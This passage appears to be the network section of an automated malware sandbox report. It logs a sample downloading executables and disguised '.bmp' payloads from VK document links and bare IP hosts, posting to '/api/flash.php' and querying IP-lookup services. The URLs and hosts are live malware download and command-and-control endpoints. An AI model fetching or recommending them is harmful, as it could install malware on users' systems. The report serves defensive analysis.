Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww15 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163151?hash=yEunDEnOxnaNHvBrCc2BNW0dbd1NA4qX8Y9HDKtZ3wo&dl=I579msw3nlUdHaNsChQ5k2o9InV0hpmjAJD1aHn0cSP&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d28/7c271d7dccf9/crypted.bmp?extra=WFox4jqLY8DNZpggJugDYHfURz0IFp2CEJ2EZ6dcn0133xT-JKUJo2TXKU5w8nxJ7iTeQxBWv7que82vVLn5A4MyJIrRhem478gWXZoeAf1qnHirG7Gfd25HyBrFEv7s9t6eOUKJJs4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d33/75149034c64a/crypted.bmp?extra=a1Y3DfMrVV-HLQVxr6_Om7CkAK51CdotQMmupRb-MslqKc9-tMYpNJ3DQf6nAbruOI538UD1Lds9TUTvsBNSlaAWf869RrfzbR-vS2koiZk-zLLSpL9pUmrDzx8S3yzxoXzXl_-c8t4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669074803?hash=gtxjyDdukAIKxlWY09AIJPG5gj5TRTjhoVyhzgbP72o&dl=A9s6LaMpuQCyacGXT0hxzf0MvaBJbV8eIlyefAe3TSw&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/ac3f2e01daba/PL_Clients.bmp?extra=m49wmeN8qk8QlQa85loqM22X-GxV1iJKB2FIivb8uaQ78bY_gpO4CvKCcF8icguxq8oxSJhXfXpewgDr5kf7In64Mjh0qwZ7mefr-Cx-Jlbv34atM0YADBfRIrP4D88v-Wxq4uxy7iU HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669146636?hash=oOxNOsTOdJPrmnDMbC1WPJr0rvKjkZ1hobtPAeSmhS0&dl=r9dUuCDHeIUqlREMZideAXmDqLSX2CxI5qdKmkcx3po&api=1&no_preview=1#cap HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d14/fab319a9eaa9/file.bmp?extra=XekPvLwajf3zjaY5buJAe3HnfkyeicpSttiDxaJzdLoB5YHmFFoUME6QuSgS26MeSPNwYYaTqVwUYy3Yw-9Wvle-70JE1-Pdb5-fcQuxBsuGV0qmjloWPkyYmuqS-f4G1K17ZAtAoLg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/141d7a9868fe/grwg_20240501083043.bmp?extra=LlcaPpnlc3Nm2YJa_HIxTuy8pxFR3cOfTp20BZVPqWbia3-pjLZINmv48VErXBJArrURXJc9wcRab86W2hl73jhKe_zRspSlR2tyoxWE2fSmgre49hjiCvIckuVAF-KTA05CvapC7EY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1pRXr7.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET /1BV4j7.mp4 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplis.ru
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=149.18.24.96 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 113Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: HEAD /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.203Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rumba/buben.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 193.233.132.139Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: sextipolar.sbsCache-Control: no-cacheCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /upd/index.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: pofix.redCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/getimage15.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 645Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 261Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: POST /api/flash.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: HEAD /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ext/adsupressor.jpeg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49772 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.139
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 185.172.128.203
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.66.10

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_0041E220 recv,setsockopt,recv,WSAGetLastError,recv,recv,setsockopt,recv,recv,recv,__Xtime_get_ticks,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,Sleep,

8_2_0041E220

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: triedchicken.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: zanzibarpivo.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /style/060.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: dod.fastbutters.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: carthewasher.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cheremushki.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sextipolar.sbsConnection: Keep-AliveCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163253?hash=IW0hSGrk8YDX7CqoqAMIkklp8EU8TjRsyfCDGdTN1K0&dl=ZMC21WrDfH2RaTobXxMq3AXIkVJHKfiV4OkccEpBnnk&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_668917518?hash=HcqSqB4BEz69zZduDzHpG5p3oDuUGmC4h5HdrueZTFD&dl=73Wmq1mPcIfGe320FelzdYt7foFKatzHUAXVPKOvEz0&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669152103?hash=pkblRovv4LMe1R6iuxvW4DDThffFR8gbvrqSTKlz4BX&dl=OZ0YEqh4RYRcb5Su2JqOKNJMaEcBe7Ll19G2uM9kyeX&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc329118071_676158749?hash=wJqTXfnxe0acmwC4vumRgawHgxCuE6EviXjICmkirIT&dl=YVEMDGiurKsySjR8YhvL7Ks3RZIJ4qJjfFMeqQgdrQ8&api=1&no_preview=1#ww15 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163151?hash=yEunDEnOxnaNHvBrCc2BNW0dbd1NA4qX8Y9HDKtZ3wo&dl=I579msw3nlUdHaNsChQ5k2o9InV0hpmjAJD1aHn0cSP&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d28/7c271d7dccf9/crypted.bmp?extra=WFox4jqLY8DNZpggJugDYHfURz0IFp2CEJ2EZ6dcn0133xT-JKUJo2TXKU5w8nxJ7iTeQxBWv7que82vVLn5A4MyJIrRhem478gWXZoeAf1qnHirG7Gfd25HyBrFEv7s9t6eOUKJJs4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909218/u5294803/docs/d33/75149034c64a/crypted.bmp?extra=a1Y3DfMrVV-HLQVxr6_Om7CkAK51CdotQMmupRb-MslqKc9-tMYpNJ3DQf6nAbruOI538UD1Lds9TUTvsBNSlaAWf869RrfzbR-vS2koiZk-zLLSpL9pUmrDzx8S3yzxoXzXl_-c8t4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669074803?hash=gtxjyDdukAIKxlWY09AIJPG5gj5TRTjhoVyhzgbP72o&dl=A9s6LaMpuQCyacGXT0hxzf0MvaBJbV8eIlyefAe3TSw&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/ac3f2e01daba/PL_Clients.bmp?extra=m49wmeN8qk8QlQa85loqM22X-GxV1iJKB2FIivb8uaQ78bY_gpO4CvKCcF8icguxq8oxSJhXfXpewgDr5kf7In64Mjh0qwZ7mefr-Cx-Jlbv34atM0YADBfRIrP4D88v-Wxq4uxy7iU HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669146636?hash=oOxNOsTOdJPrmnDMbC1WPJr0rvKjkZ1hobtPAeSmhS0&dl=r9dUuCDHeIUqlREMZideAXmDqLSX2CxI5qdKmkcx3po&api=1&no_preview=1#cap HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c237231/u5294803/docs/d14/fab319a9eaa9/file.bmp?extra=XekPvLwajf3zjaY5buJAe3HnfkyeicpSttiDxaJzdLoB5YHmFFoUME6QuSgS26MeSPNwYYaTqVwUYy3Yw-9Wvle-70JE1-Pdb5-fcQuxBsuGV0qmjloWPkyYmuqS-f4G1K17ZAtAoLg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /c909328/u5294803/docs/d50/141d7a9868fe/grwg_20240501083043.bmp?extra=LlcaPpnlc3Nm2YJa_HIxTuy8pxFR3cOfTp20BZVPqWbia3-pjLZINmv48VErXBJArrURXJc9wcRab86W2hl73jhKe_zRspSlR2tyoxWE2fSmgre49hjiCvIckuVAF-KTA05CvapC7EY HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-20.userapi.comConnection: Keep-Alive
